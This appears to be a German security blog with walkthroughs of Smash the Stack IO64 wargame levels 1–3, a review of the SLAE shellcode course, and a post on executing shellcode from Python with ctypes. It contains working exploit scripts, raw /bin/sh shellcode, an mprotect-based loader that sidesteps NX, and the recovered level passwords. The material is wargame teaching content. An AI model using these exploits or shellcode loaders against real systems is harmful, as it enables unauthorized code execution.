Smash the Stack IO64 - Level03

Level03

In diesem Level ist möglich mittels eines Off-by-one Error eine Shell zu bekommen.

#include <stdio.h>
#include <string.h>
#include <unistd.h>

struct {
  char buf[16];
  void (*fp)(int i);
} opts;

void f(int i) {
  i != 0xdeadbeef && puts("FAIL!") || puts("WIN!") && execl("/bin/sh", "sh", NULL);
}

int main(int argc, char *argv[]) {
  int i;
  opts.fp = f;
  for(i = 0; i <= 16 && argv[1][i]; i++)
    opts.buf[i] = argv[1][i];
  opts.fp(0);
}

Der besagte Fehler liegt in der main Methode, genauer gesagt in der for-Schleife. Dieser Umstand kann ausgenutzt werden um 17 Elemente in ein 16 Element großem Buffer zuschreiben.

Folgender Exploit nutzt den hier vorgestellten Umstand aus.

#!/usr/bin/env python

import os
import sys

payload = 'A' * 16
payload += '\x7c'

def exploit(vuln):
    args = [vuln, payload]
    env = {"NULL":"NULL"}
    os.execve(vuln, args, env)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print "Usage: %s target_program" % sys.argv[0]
    else:
        exploit(sys.argv[1])

Walkthrough

Viele Wege führen zum Ziel, hier nun meiner. Wer also die Level selber lösen möchte, sollte an dieser Stelle aussteigen. Im weiteren wird auf genaue Erläuterung verzichtet, da diese aus dem Kontext hervor gehen.

[email protected]:~$ cd /levels/
[email protected]:/levels$ cat level03.c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

struct {
  char buf[16];
  void (*fp)(int i);
} opts;

void f(int i) {
  i != 0xdeadbeef && puts("FAIL!") || puts("WIN!") && execl("/bin/sh", "sh", NULL);
}

int main(int argc, char *argv[]) {
  int i;
  opts.fp = f;
  for(i = 0; i <= 16 && argv[1][i]; i++)
    opts.buf[i] = argv[1][i];
  opts.fp(0);
}
/* --noname */
[email protected]:/levels$ gdb -q ./level03
Reading symbols from /levels/level03...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disassemble f
Dump of assembler code for function f:
   0x000000000040054c <+0>:	push   rbp
   0x000000000040054d <+1>:	mov    rbp,rsp
   0x0000000000400550 <+4>:	sub    rsp,0x10
   0x0000000000400554 <+8>:	mov    DWORD PTR [rbp-0x4],edi
   0x0000000000400557 <+11>:	cmp    DWORD PTR [rbp-0x4],0xdeadbeef
   0x000000000040055e <+18>:	je     0x40056e <f+34>
   0x0000000000400560 <+20>:	mov    edi,0x4006cc
   0x0000000000400565 <+25>:	call   0x400410 <[email protected]>
   0x000000000040056a <+30>:	test   eax,eax
   0x000000000040056c <+32>:	jne    0x400597 <f+75>
   0x000000000040056e <+34>:	mov    edi,0x4006d2
   0x0000000000400573 <+39>:	call   0x400410 <[email protected]>
   0x0000000000400578 <+44>:	test   eax,eax
   0x000000000040057a <+46>:	je     0x400598 <f+76>
   0x000000000040057c <+48>:	mov    edx,0x0
   0x0000000000400581 <+53>:	mov    esi,0x4006d7
   0x0000000000400586 <+58>:	mov    edi,0x4006da
   0x000000000040058b <+63>:	mov    eax,0x0
   0x0000000000400590 <+68>:	call   0x400430 <[email protected]>
   0x0000000000400595 <+73>:	test   eax,eax
   0x0000000000400597 <+75>:	nop
   0x0000000000400598 <+76>:	leave
   0x0000000000400599 <+77>:	ret
End of assembler dump.
(gdb) q
A debugging session is active.

	Inferior 1 [process 24406] will be killed.

Quit anyway? (y or n) y
[email protected]:/levels$ ./level03 $(python -c "print('A'*16 + '\x7c' ) ")
$ cat /home/level4/.pass
raL6E8S0Y9BpioDK
$

Referenzen

Smash the Stack IO64 - Level02

Level02

In diesem besagten Level gilt es Folgendes Mathematische Problem zu lösen:

#include <unistd.h>

int main(int i, long **a) {
	if(*a[1] * 0x1064deadbeef4601u == 0xd1038d2e07b42569u)
		execl("/bin/sh", "sh", 0);
	return 0;
}

Naiverweise liegt es nahe die beiden Hex-Werte zu dividieren um besagten Wert für *a[1] zu ermitteln. Diese Annahme ist falsch, da der Resultierende Wert kein Integer ist. Um das besagte Problem zu lösen, ist es nötig das modulare Inverse () des Faktors multipliziert mit dem Wert: zu ermitteln. Für eine 2er Potenz lässt sich dies über den Satz von Euler lösen:

Folgender Exploit nutzt den hier vorgestellten Umstand aus.

#!/usr/bin/env python

import os
import sys
import struct

def p(x):
    return struct.pack('<Q', x)

def calc(v1, v2):
    return pow(v1, 2**63-1, 2**64) * v2 % 2**64

payload = p(calc(0x1064deadbeef4601,
                0xd1038d2e07b42569))

def exploit(vuln):
    args = [vuln, payload]
    env = {"NULL":"NULL"}
    os.execve(vuln, args, env)

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print "Usage: %s target_program" % sys.argv[0]
    else:
        exploit(sys.argv[1])

Walkthrough

Viele Wege führen zum Ziel, hier nun meiner. Wer also die Level selber lösen möchte, sollte an dieser Stelle aussteigen. Im weiteren wird auf genaue Erläuterung verzichtet, da diese aus dem Kontext hervor gehen.

[email protected]:/levels$ cat level02.c
#include <unistd.h>

int main(int i, long **a) {
	if(*a[1] * 0x1064deadbeef4601u == 0xd1038d2e07b42569u)
		execl("/bin/sh", "sh", 0);
	return 0;
}
/* -- noname */
[email protected]:/levels$ python
Python 2.7.3 (default, Mar 13 2014, 11:03:55) 
[GCC 4.7.2] on linux2
Type "help","copyright","credits" or "license" for more information.
>>> import struct
>>> a1 = pow(0x1064deadbeef4601, 2**63-1, 2**64) * 0xd1038d2e07b42569 % 2**64
>>> struct.pack('<Q', a1)
'io64pass'
>>> a1 * 0x1064deadbeef4601 % 2**64 == 0xd1038d2e07b42569
True
>>> hex(a1)
'0x7373617034366f69L'
>>>
[email protected]:/levels$ ./level02 $(python -c "print('\x73\x73\x61\x70\x34\x36\x6f\x69'[::-1])")
$ cat /home/level3/.pass
X4DafQbnaTY5hiXe
$

Referenzen

Smash the Stack IO64 - Level01

Level01

Im Folgenden geht es um das Wargame Smash the Stack in der 64bit Variante.

______   _____
/\__  _\ /\  __`\       Levels are in /levels
\/_/\ \/ \ \ \/\ \      Passes are in ~/.pass
   \ \ \64\ \ \ \ \     
    \_\ \__\ \ \_\ \
    /\_____\\ \_____\   Server admin: bla ([email protected])
    \/_____/ \/_____/   Server admin: noname

        1. No DoS, local or otherwise
        2. Do not try to connect to remote systems from this box
        3. Quotas, watch resources usage, max 2 connections per IP


- new level 8 by noname
- new level 9 by bla


notice: ACCESS to this system is PROHIBITED to any and all current
and former employees and contractors of MSAB (Micro Systemation).

Walkthrough

Viele Wege führen zum Ziel, hier nun meiner. Wer also die Level selber lösen möchte, sollte an dieser Stelle aussteigen. Im weiteren wird auf genaue Erläuterung verzichtet, da diese aus dem Kontext hervor gehen.

[email protected]:/levels$ ./level01 
Usage:
        ./level01 [password]
[email protected]:/levels$ ls level01*
level01  level01.sqlite
[email protected]:/levels$ file level01.sqlite
level01.sqlite: SQLite 3.x database
[email protected]:/levels$ objdump -D level01 | grep sqlite3
0000000000400810 <[email protected]>:
0000000000400850 <[email protected]>:
0000000000400860 <[email protected]>:
0000000000400870 <[email protected]>:
0000000000400880 <[email protected]>:
0000000000400890 <[email protected]>:
 4009e8:   e8 23 fe ff ff    callq  400810 <[email protected]>
 400a14:   e8 77 fe ff ff    callq  400890 <[email protected]>
 400a2d:   e8 1e fe ff ff    callq  400850 <[email protected]>
 400a47:   e8 24 fe ff ff    callq  400870 <[email protected]>
 400a93:   e8 e8 fd ff ff    callq  400880 <[email protected]>
 400a9f:   e8 bc fd ff ff    callq  400860 <[email protected]>
[email protected]:/levels$ sqlite3 level01.sqlite 
SQLite version 3.7.13 2012-06-11 02:05:22
Enter ".help" for instructions
Enter SQL statements terminated with a ";"
sqlite> .headers on
sqlite> .mode column
sqlite> .width 45, 20
sqlite> .tables
password
sqlite> select * from password;
password                                       id
---------------------------------------------  --------------------
Administ                                       rator
sqlite>
[email protected]:/levels$ ./level01 Administ
$ whoami
level2
$ cat /home/level2/.pass
lY92adX0uURmL5XX
$

Referenzen

SecurityTube Linux Assembly Expert (SLAE) - Review

SLAE

Vorwort

Als ich mich Ende des Jahres 2015 verstärkt mit Shellcodes auseinandersetzte, Stoß ich auf diesen im Titel benannten Onlinekurs. Securitytube selber war mir bis dato nicht unbekannt, so dass es eigentlich nur eine Frage der Zeit war bis ich mich näher damit beschäftigen würde wollen. Als dann über die Winterfeiertage ein Angebot herein kam, konnte ich nicht wiederstehen und kaufte mir den Zugang zum SecurityTube Linux Assembly Expert (SLAE) Kurs. Dieser Blogeintrag ist meine persönliche Sicht und ist einzig und allein meine subjektive Meinung.

SLAE

Der Kurs beschreibt sich selber am besten, so dass ich selber nichts hinzuzufügen brauche:

The SecurityTube Linux Assembly Expert (SLAE) is an online course and certification which focuses on teaching the basics of 32-bit assembly language for the Intel Architecture (IA-32) family of processors on the Linux platform and applying it to Infosec. Once we are through with the basics, we will look at writing shellcode, encoders, decoders, crypters and other advanced low level applications. (Security Tube)

Aufbau

Der Kurs hat ein Umfang von mehreren Stunden Videomaterial und umfasst sowohl die Basics als auch umfangreichere Themen. Zusätzlich sind die PDF’s enthalten, welche in den Videos zusehen sind, des Weiteren alle Beispiele die in den Videos behandelt werden. In den Kosten von $149 sind sowohl die Kosten für alle genannten Sachen enthalten als auch die Zertifizierung selber. Nach meiner Meinung ein sehr gutes Preis-Leistungsverhältnis.

Zertifizierung

Um am Ende die Zertifizierung zu erhalten, ist es notwendig sieben Aufgaben zu lösen. Diese haben verschiedene Schwierigkeitsgrade. Der wohl wichtigste Aspekt für mich, war die Tatsache das es keine zeitliche einschränkung gibt. Somit ist es sehr gut möglich, sich die Zeit zum lösen der Aufgaben an seinen Bedürfnisse anzupassen. Dies war persönlich auch ein Grund für mich.

Die besagten Aufgaben sind folgende:

  • Bind TCP Shellcode
  • Reverse TCP Shellcode
  • Egg-hunter
  • Custom Encoder
  • Metasploit Shellcode Analysis
  • Polymorphic Shellcode
  • Custom Crypter

Diese Aufgaben gilt es zu lösen und zu dokumentieren. Das Dokumentieren geschieht dabei in Form eines Blogeintrages zu jeweiligen Aufgabe. Zusätzlich ist es notwendig seinen programmierten Quellcode in einem Github repository zu veröffentlichen.

Fazit

Mein Eindruck bezüglich dieses Kurses ist sehr gut und ich würde Ihn auch jedem empfehlen der einen Einblick in die Shellcode entwicklung bekommen möchte. Eindruck deswegen da diese Art von Technik nicht mehr wirklich Stand der Dinge ist. ROP payloads hingegen nehmen immer mehr an bedeutung zu, da sie den Charme besitzen gegen gewisse Speicherschutztechniken immun zu sein. Dennoch halte ich es für wichtig die Basics zu beherrschen. Gerade auch bei IA-32 Systemen. Das war mit unter anderem ein Grund für mich, wieso ich mir zuerst die 32-bit Variante angeschaut habe.

Referenzen

Shellcode mittels Python ausführen

Python power

Die letzten Tage fragte ich mich schon des Öfteren ob es möglich sei, Shellcode mittels Python auszuführen. Anscheined war ich mit dieser Frage nicht alleine, sodass ich mich auf der Suche begab und fündig wurde. Mittels ctypes ist es möglich Shellcode, dank der libc, direkt auszuführen.

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from ctypes import CDLL, c_char_p, c_void_p, \
	memmove, cast, CFUNCTYPE

# http://shell-storm.org/shellcode/files/shellcode-806.php
shellcode = (
	b"\x31\xc0\x48\xbb\xd1\x9d\x96"
	b"\x91\xd0\x8c\x97\xff\x48\xf7"
	b"\xdb\x53\x54\x5f\x99\x52\x57"
	b"\x54\x5e\xb0\x3b\x0f\x05"
)

if __name__ == "__main__":
	print("len = %d" % len(shellcode))
	libc = CDLL('libc.so.6')

	sc = c_char_p(shellcode)
	size = len(shellcode)
	addr = c_void_p(libc.valloc(size))
	memmove(addr, sc, size)
	libc.mprotect(addr, size, 0x7)

	run = cast(addr, CFUNCTYPE(c_void_p))
	run()

Um eine Segmentation fault auf neueren Systemen zu entgehen, ist es notwendig auf den benötigten Speicherbereich gewisse Rechte “frei” zu räumen. Dies geschieht über die Funktion mprotect(). Diese Maßnahme ist notwendig, da neuere Systeme über das NX Bit verfügen. Dieses besagte Bit soll verhindern, dass beliebige Daten wie Programme ausgeführt werden und auf diese Weise Schadcode starten. Aber genau das ist das Ziel.

$ ./runshellcode.py
len = 27
sh-4.3$

Notiz

Das hier vorgestellte Python Skript funktioniert nur unter der Python-Umgebung 3.x. Unter der Python-Umgebung 2.x führt besagtes Skript zu einer Segmentation fault. Zusätzlich dient dieses Skript nur zur Testzwecken.

Referenzen